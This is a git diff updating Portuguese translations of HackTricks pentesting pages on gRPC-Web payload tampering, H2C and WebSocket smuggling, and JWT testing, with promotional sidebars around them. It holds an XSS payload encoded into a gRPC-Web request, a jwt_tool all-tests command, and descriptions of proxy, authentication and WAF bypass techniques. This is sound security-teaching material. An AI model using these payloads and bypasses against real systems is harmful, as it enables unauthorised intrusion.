* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,51 +1,53 @@
|
||||||
# Pentesting gRPC-Web
|
# Teste de invasão gRPC-Web
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras maneiras de apoiar o HackTricks:
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
||||||
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## **Manipulando Payloads gRPC-Web**
|
## **Manipulando Cargas Úteis gRPC-Web**
|
||||||
gRPC-Web usa Content-Type: `application/grpc-web-text` em requisições, que é uma espécie de protobuf em forma codificada em base64, você pode usar a ferramenta [gprc-coder](https://github.com/nxenon/grpc-pentest-suite), e também pode instalar sua [Extensão do Burp Suite](https://github.com/nxenon/grpc-pentest-suite).
|
gRPC-Web usa Content-Type: `application/grpc-web-text` em solicitações que são uma forma de protobuf codificada em base64, você pode usar a ferramenta [gprc-coder](https://github.com/nxenon/grpc-pentest-suite), e também pode instalar sua [Extensão Burp Suite](https://github.com/nxenon/grpc-pentest-suite).
|
||||||
|
|
||||||
### **Manual com a Ferramenta gGRPC Coder**
|
### **Manual com a Ferramenta gGRPC Coder**
|
||||||
1. Primeiro decodifique o payload:
|
1. Primeiro, decodifique a carga útil:
|
||||||
```bash
|
```bash
|
||||||
echo "AAAAABYSC0FtaW4gTmFzaXJpGDY6BVhlbm9u" | python3 grpc-coder.py --decode --type grpc-web-text | protoscope > out.txt
|
echo "AAAAABYSC0FtaW4gTmFzaXJpGDY6BVhlbm9u" | python3 grpc-coder.py --decode --type grpc-web-text | protoscope > out.txt
|
||||||
```
|
```
|
||||||
2. Edite o conteúdo do payload decodificado
|
2. Edite o conteúdo da carga útil decodificada
|
||||||
```
|
```
|
||||||
nano out.txt
|
nano out.txt
|
||||||
2: {"Amin Nasiri Xenon GRPC"}
|
2: {"Amin Nasiri Xenon GRPC"}
|
||||||
3: 54
|
3: 54
|
||||||
7: {"<script>alert(origin)</script>"}
|
7: {"<script>alert(origin)</script>"}
|
||||||
```
|
```
|
||||||
3. Codifique o novo payload
|
3. Codificar o novo payload
|
||||||
```bash
|
```bash
|
||||||
protoscope -s out.txt | python3 grpc-coder.py --encode --type grpc-web-text
|
protoscope -s out.txt | python3 grpc-coder.py --encode --type grpc-web-text
|
||||||
```
|
```
|
||||||
4. Utilize a saída no interceptador Burp:
|
4. Utilize a saída no interceptor do Burp:
|
||||||
```
|
```
|
||||||
AAAAADoSFkFtaW4gTmFzaXJpIFhlbm9uIEdSUEMYNjoePHNjcmlwdD5hbGVydChvcmlnaW4pPC9zY3JpcHQ+
|
AAAAADoSFkFtaW4gTmFzaXJpIFhlbm9uIEdSUEMYNjoePHNjcmlwdD5hbGVydChvcmlnaW4pPC9zY3JpcHQ+
|
||||||
```
|
```
|
||||||
### **Manual com a Extensão gRPC-Web Coder para Burp Suite**
|
### **Manual com Extensão Burp Suite do Coder gRPC-Web**
|
||||||
Você pode usar a Extensão gRPC-Web Coder para Burp Suite no [gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite), o que é mais fácil. Você pode ler as instruções de instalação e uso no repositório.
|
Você pode usar a Extensão Burp Suite do Coder gRPC-Web no [gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite) o que é mais fácil. Você pode ler as instruções de instalação e uso no repositório.
|
||||||
|
|
||||||
## **Analisando Arquivos Javascript gRPC-Web**
|
## **Analisando Arquivos Javascript do gRPC-Web**
|
||||||
Há pelo menos um arquivo Javascript em cada aplicação gRPC-Web. Você pode analisar o arquivo para encontrar novas mensagens, endpoints e serviços. Tente usar a ferramenta [gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite).
|
Há pelo menos um arquivo Javascript em cada aplicação gRPC-Web. Você pode analisar o arquivo para encontrar novas mensagens, endpoints e serviços. Tente usar a ferramenta [gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite).
|
||||||
1. Baixe o Arquivo Javascript gRPC-Web
|
1. Baixe o Arquivo Javascript gRPC-Web
|
||||||
2. Escaneie-o com grpc-scan.py:
|
2. Escaneie com grpc-scan.py:
|
||||||
```bash
|
```bash
|
||||||
python3 grpc-scan.py --file main.js
|
python3 grpc-scan.py --file main.js
|
||||||
```
|
```
|
||||||
3. Analise a saída e teste os novos endpoints e novos serviços:
|
3. Analisar a saída e testar os novos endpoints e novos serviços:
|
||||||
```
|
```
|
||||||
Output:
|
Output:
|
||||||
Found Endpoints:
|
Found Endpoints:
|
||||||
|
@ -144,12 +146,14 @@ grpc.gateway.testing.ClientStreamingEchoResponse:
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
||||||
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para o repositório** [**hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -7,10 +7,10 @@
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenha [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -24,9 +24,9 @@ Encontre vulnerabilidades que mais importam para que você possa corrigi-las mai
|
||||||
|
|
||||||
## Smuggling H2C <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
## Smuggling H2C <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||||
|
|
||||||
### HTTP2 Sobre Texto Não Criptografado (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
### HTTP2 Sobre Texto Puro (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||||
|
|
||||||
H2C, ou **http2 sobre texto não criptografado**, se desvia da norma de conexões HTTP transitórias, atualizando uma conexão HTTP padrão para uma persistente. Essa conexão atualizada utiliza o protocolo binário http2 para comunicação contínua, em oposição à natureza de única solicitação do HTTP em texto simples.
|
H2C, ou **http2 sobre texto puro**, se desvia da norma de conexões HTTP transitórias, atualizando uma conexão HTTP padrão para uma persistente. Essa conexão atualizada utiliza o protocolo binário http2 para comunicação contínua, em oposição à natureza de única solicitação do HTTP em texto simples.
|
||||||
|
|
||||||
A essência do problema de smuggling surge com o uso de um **proxy reverso**. Normalmente, o proxy reverso processa e encaminha solicitações HTTP para o backend, retornando a resposta do backend depois disso. No entanto, quando o cabeçalho `Connection: Upgrade` está presente em uma solicitação HTTP (comumente visto com conexões websocket), o **proxy reverso mantém uma conexão persistente** entre cliente e servidor, facilitando a troca contínua necessária por certos protocolos. Para conexões H2C, a conformidade com o RFC exige a presença de três cabeçalhos específicos:
|
A essência do problema de smuggling surge com o uso de um **proxy reverso**. Normalmente, o proxy reverso processa e encaminha solicitações HTTP para o backend, retornando a resposta do backend depois disso. No entanto, quando o cabeçalho `Connection: Upgrade` está presente em uma solicitação HTTP (comumente visto com conexões websocket), o **proxy reverso mantém uma conexão persistente** entre cliente e servidor, facilitando a troca contínua necessária por certos protocolos. Para conexões H2C, a conformidade com o RFC exige a presença de três cabeçalhos específicos:
|
||||||
```
|
```
|
||||||
|
@ -34,7 +34,7 @@ Upgrade: h2c
|
||||||
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
|
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
|
||||||
Connection: Upgrade, HTTP2-Settings
|
Connection: Upgrade, HTTP2-Settings
|
||||||
```
|
```
|
||||||
A vulnerabilidade surge quando, após a atualização de uma conexão, o proxy reverso deixa de gerenciar solicitações individuais, assumindo que seu trabalho de roteamento está completo após o estabelecimento da conexão. A exploração do H2C Smuggling permite a circunvenção das regras do proxy reverso aplicadas durante o processamento da solicitação, como roteamento baseado em caminho, autenticação e processamento de WAF, assumindo que uma conexão H2C seja iniciada com sucesso.
|
A vulnerabilidade surge quando, após a atualização de uma conexão, o proxy reverso deixa de gerenciar solicitações individuais, assumindo que seu trabalho de roteamento está completo após o estabelecimento da conexão. A exploração do H2C Smuggling permite contornar as regras do proxy reverso aplicadas durante o processamento da solicitação, como roteamento baseado em caminho, autenticação e processamento de WAF, assumindo que uma conexão H2C seja iniciada com sucesso.
|
||||||
|
|
||||||
### Proxies Vulneráveis <a href="#exploitation" id="exploitation"></a>
|
### Proxies Vulneráveis <a href="#exploitation" id="exploitation"></a>
|
||||||
|
|
||||||
|
@ -57,25 +57,25 @@ Por outro lado, esses serviços não encaminham esses cabeçalhos durante o prox
|
||||||
|
|
||||||
### Exploração <a href="#exploitation" id="exploitation"></a>
|
### Exploração <a href="#exploitation" id="exploitation"></a>
|
||||||
|
|
||||||
É crucial observar que nem todos os servidores encaminham os cabeçalhos necessários para uma atualização de conexão H2C compatível. Portanto, servidores como AWS ALB/CLB, NGINX e Apache Traffic Server, entre outros, naturalmente bloqueiam conexões H2C. No entanto, vale a pena testar com a variante não compatível `Connection: Upgrade`, que exclui o valor `HTTP2-Settings` do cabeçalho `Connection`, pois alguns backends podem não estar em conformidade com os padrões.
|
É crucial observar que nem todos os servidores encaminham os cabeçalhos necessários para uma atualização de conexão H2C compatível. Como tal, servidores como AWS ALB/CLB, NGINX e Apache Traffic Server, entre outros, naturalmente bloqueiam conexões H2C. No entanto, vale a pena testar com a variante não compatível `Connection: Upgrade`, que exclui o valor `HTTP2-Settings` do cabeçalho `Connection`, pois alguns backends podem não estar em conformidade com os padrões.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Independentemente do **caminho** específico designado na URL `proxy_pass` (por exemplo, `http://backend:9999/socket.io`), a conexão estabelecida é padrão para `http://backend:9999`. Isso permite a interação com qualquer caminho dentro desse endpoint interno, aproveitando essa técnica. Portanto, a especificação de um caminho na URL `proxy_pass` não restringe o acesso.
|
Independentemente do **caminho** específico designado na URL `proxy_pass` (por exemplo, `http://backend:9999/socket.io`), a conexão estabelecida é padrão para `http://backend:9999`. Isso permite interagir com qualquer caminho dentro desse endpoint interno, aproveitando essa técnica. Consequentemente, a especificação de um caminho na URL `proxy_pass` não restringe o acesso.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
As ferramentas [**h2csmuggler da BishopFox**](https://github.com/BishopFox/h2csmuggler) e [**h2csmuggler da assetnote**](https://github.com/assetnote/h2csmuggler) facilitam as tentativas de **circunvenção de proteções impostas pelo proxy** ao estabelecer uma conexão H2C, permitindo assim o acesso a recursos protegidos pelo proxy.
|
As ferramentas [**h2csmuggler by BishopFox**](https://github.com/BishopFox/h2csmuggler) e [**h2csmuggler by assetnote**](https://github.com/assetnote/h2csmuggler) facilitam as tentativas de **contornar as proteções impostas pelo proxy** ao estabelecer uma conexão H2C, permitindo assim o acesso a recursos protegidos pelo proxy.
|
||||||
|
|
||||||
Para obter informações adicionais sobre essa vulnerabilidade, especialmente em relação ao NGINX, consulte [**este recurso detalhado**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection).
|
Para obter informações adicionais sobre essa vulnerabilidade, especialmente em relação ao NGINX, consulte [**este recurso detalhado**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection).
|
||||||
|
|
||||||
# Websocket Smuggling
|
# Websocket Smuggling
|
||||||
|
|
||||||
O Websocket smuggling, ao contrário da criação de um túnel HTTP2 para um endpoint acessível por meio de um proxy, estabelece um túnel Websocket para contornar possíveis limitações do proxy e facilitar a comunicação direta com o endpoint.
|
O Websocket smuggling, ao contrário de criar um túnel HTTP2 para um endpoint acessível por meio de um proxy, estabelece um túnel Websocket para contornar possíveis limitações do proxy e facilitar a comunicação direta com o endpoint.
|
||||||
|
|
||||||
## Cenário 1
|
## Cenário 1
|
||||||
|
|
||||||
Neste cenário, um backend que oferece uma API Websocket pública ao lado de uma API REST interna inacessível é alvo de um cliente malicioso em busca de acesso à API REST interna. O ataque se desenrola em várias etapas:
|
Neste cenário, um backend que oferece uma API Websocket pública ao lado de uma API REST interna inacessível é alvo de um cliente malicioso em busca de acesso à API REST interna. O ataque se desenrola em várias etapas:
|
||||||
|
|
||||||
1. O cliente inicia enviando uma solicitação de Upgrade para o proxy reverso com uma versão de protocolo `Sec-WebSocket-Version` incorreta no cabeçalho. O proxy, falhando em validar o cabeçalho `Sec-WebSocket-Version`, considera a solicitação de Upgrade válida e a encaminha para o backend.
|
1. O cliente inicia enviando uma solicitação de Upgrade para o proxy reverso com uma versão de protocolo `Sec-WebSocket-Version` incorreta no cabeçalho. O proxy, falhando em validar o cabeçalho `Sec-WebSocket-Version`, acredita que a solicitação de Upgrade é válida e a encaminha para o backend.
|
||||||
2. O backend responde com um código de status `426`, indicando a versão de protocolo incorreta no cabeçalho `Sec-WebSocket-Version`. O proxy reverso, ignorando o status de resposta do backend, assume prontidão para a comunicação Websocket e repassa a resposta ao cliente.
|
2. O backend responde com um código de status `426`, indicando a versão de protocolo incorreta no cabeçalho `Sec-WebSocket-Version`. O proxy reverso, ignorando o status de resposta do backend, assume prontidão para a comunicação Websocket e repassa a resposta ao cliente.
|
||||||
3. Consequentemente, o proxy reverso é enganado a acreditar que uma conexão Websocket foi estabelecida entre o cliente e o backend, enquanto na realidade, o backend rejeitou a solicitação de Upgrade. Apesar disso, o proxy mantém uma conexão TCP ou TLS aberta entre o cliente e o backend, permitindo ao cliente acesso irrestrito à API REST privada por meio dessa conexão.
|
3. Consequentemente, o proxy reverso é enganado a acreditar que uma conexão Websocket foi estabelecida entre o cliente e o backend, enquanto na realidade, o backend rejeitou a solicitação de Upgrade. Apesar disso, o proxy mantém uma conexão TCP ou TLS aberta entre o cliente e o backend, permitindo ao cliente acesso irrestrito à API REST privada por meio dessa conexão.
|
||||||
|
|
||||||
|
@ -98,7 +98,7 @@ Por fim, o NGINX é enganado a acreditar que uma conexão Websocket existe entre
|
||||||
|
|
||||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png)
|
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png)
|
||||||
|
|
||||||
A maioria dos proxies reversos é vulnerável a esse cenário, mas a exploração depende da presença de uma vulnerabilidade externa SSRF, geralmente considerada um problema de baixa gravidade.
|
A maioria dos proxies reversos é vulnerável a esse cenário, mas a exploração depende da presença de uma vulnerabilidade externa de SSRF, geralmente considerada um problema de baixa gravidade.
|
||||||
|
|
||||||
### Laboratórios
|
### Laboratórios
|
||||||
|
|
||||||
|
@ -119,14 +119,14 @@ Encontre vulnerabilidades que mais importam para que você possa corrigi-las mai
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** Twitter 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe suas dicas de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -4,19 +4,19 @@
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (638) (3).png>)
|
![](<../.gitbook/assets/image (638) (3).png>)
|
||||||
|
|
||||||
**Dica de recompensa por bugs**: **inscreva-se** no **Intigriti**, uma plataforma de **recompensas por bugs premium criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**!
|
**Dica de recompensa por bugs**: **inscreva-se** no **Intigriti**, uma plataforma de **recompensas por bugs premium criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**!
|
||||||
|
|
||||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||||
|
|
||||||
|
@ -25,13 +25,13 @@ Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
### **Ganhos Rápidos**
|
### **Ganhos Rápidos**
|
||||||
|
|
||||||
Execute o [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) com o modo `All Tests!` e aguarde as linhas verdes
|
Execute [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) com o modo `All Tests!` e aguarde as linhas verdes
|
||||||
```bash
|
```bash
|
||||||
python3 jwt_tool.py -M at \
|
python3 jwt_tool.py -M at \
|
||||||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||||||
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
|
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
|
||||||
```
|
```
|
||||||
Se tiver sorte, a ferramenta encontrará algum caso em que a aplicação web esteja verificando incorretamente o JWT:
|
Se tiver sorte, a ferramenta encontrará algum caso em que a aplicação web não está verificando corretamente o JWT:
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (435).png>)
|
![](<../.gitbook/assets/image (435).png>)
|
||||||
|
|
||||||
|
@ -49,14 +49,14 @@ Para verificar se a assinatura de um JWT está sendo verificada:
|
||||||
|
|
||||||
- Uma mensagem de erro sugere verificação em andamento; detalhes sensíveis em erros verbosos devem ser revisados.
|
- Uma mensagem de erro sugere verificação em andamento; detalhes sensíveis em erros verbosos devem ser revisados.
|
||||||
- Uma mudança na página retornada também indica verificação.
